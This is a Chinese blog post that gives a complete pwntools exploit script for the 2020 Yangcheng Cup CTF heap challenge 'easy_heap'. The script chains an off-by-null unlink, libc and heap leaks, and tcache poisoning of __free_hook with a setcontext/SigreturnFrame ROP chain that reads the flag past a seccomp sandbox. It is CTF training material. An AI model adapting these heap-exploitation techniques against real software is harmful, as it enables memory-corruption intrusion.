MENU

2020羊城杯 easy_heap EXP

July 7, 2021 • Read: 179 • Pwn,CTF

off by null + 有 show 函数 leak + glibc2.30 沙箱,总共花了大概一个多小时,被 libc 文件卡了一下。

做完之后看了一下官方 Writeup,说是修改自 balsn ctf 2019 的 plaintext,使用 largebins 的残留指针来构造。这实际上对于有 leak 的题目是不必要的,对于这类题目我已经写过一篇很详细的文章,有兴趣的师傅可以先看看那篇 http://blog.wjhwjhn.com/archives/193/

PS:glibc2.30 和 glibc2.31 和 glibc2.32 的 unsortedbin leak 的 libc 地址居然末尾三字节是一样的。

from pwn import *

elf = None
libc = None
file_name = "./ycb_2020_easy_heap"


# context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)


def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag


def choice(idx):
    sh.sendlineafter("Choice:", str(idx))


def add(size):
    choice(1)
    sh.sendlineafter("Size: ", str(size))


def edit(idx, content):
    choice(2)
    sh.sendlineafter("Index: ", str(idx))
    sh.sendlineafter("Content: ", str(content))


def delete(idx):
    choice(3)
    sh.sendlineafter("Index: ", str(idx))


def show(idx):
    choice(4)
    sh.sendlineafter("Index: ", str(idx))
    sh.recvuntil('Content: ')


def pwn(sh, elf, libc):
    context.log_level = "debug"
    add(0x418)  # 0
    add(0x18)  # 1
    add(0x18)  # 2
    for i in range(0xB):
        add(0xF8)  # 3 - 13
    delete(0)

    add(0x418)  # 0
    show(0)
    libc_base = get_address(sh, True, info="libc_base:\t", offset=-0x1eabe0)

    libc.address = libc_base
    delete(1)
    delete(2)

    add(0x18)  # 1
    add(0x18)  # 2
    show(1)
    heap_base = u64(sh.recvuntil('[+]Done!', drop=True)[-6:].ljust(8, '\x00')) - 0x6c0
    log.success("heap_base:\t" + hex(heap_base))

    for i in range(7):
        delete(3 + i)

    heap_11_ptr = heap_base + 0xef0
    edit(11, flat(heap_11_ptr + 0x20 - 0x18, heap_11_ptr + 0x20 - 0x10, heap_11_ptr) + 'a' * 0xD8 + p64(0x100))
    delete(12)

    for i in range(7):
        add(0xF8)  # 3 - 9

    add(0xF8)  # 10 == 11
    add(0xF8)  # 12
    add(0xF8)  # 13

    delete(10)
    delete(12)
    edit(11, p64(libc.sym['__free_hook']))
    add(0xF8)  # 10
    add(0xF8)  # 12 __free_hook

    delete(13)
    delete(10)
    edit(11, p64(libc.sym['__free_hook'] + 0xF8))
    add(0xF8)  # 10
    add(0xF8)  # 13 __free_hook + 0xF8

    pop_rdi_addr = libc.address + 0x26bb2
    pop_rsi_addr = libc.address + 0x2709c
    pop_rdx_r12_addr = libc.address + 0x11c421

    fake_frame_addr = libc.sym['__free_hook'] + 0x10
    frame = SigreturnFrame()
    frame.rax = 0
    frame.rdi = fake_frame_addr + 0xF8
    frame.rsp = fake_frame_addr + 0xF8 + 0x10
    frame.rip = pop_rdi_addr + 1  # : ret
    rop_data = [
        libc.sym['open'],
        pop_rdx_r12_addr,
        0x100,
        0,
        pop_rdi_addr,
        3,
        pop_rsi_addr,
        fake_frame_addr + 0x200,
        libc.sym['read'],
        pop_rdi_addr,
        fake_frame_addr + 0x200,
        libc.sym['puts']
    ]

    gadget = libc.address + 0x0000000000154b90  #:  mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
    frame_data = str(frame).ljust(0xF8, '\x00')
    payload = p64(gadget) + p64(fake_frame_addr) + frame_data[:0x20] + p64(libc.sym['setcontext'] + 61) + frame_data[
                                                                                                          0x28:] + "flag\x00\x00\x00\x00" + p64(
        0) + flat(rop_data)
    edit(13, payload[0xF8:])
    edit(12, payload[:0xF8])
    # gdb.attach(sh, "b *" + hex(libc.sym['setcontext'] + 61))
    delete(12)

    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
Archives QR Code Tip
QR Code for this page
Tipping QR Code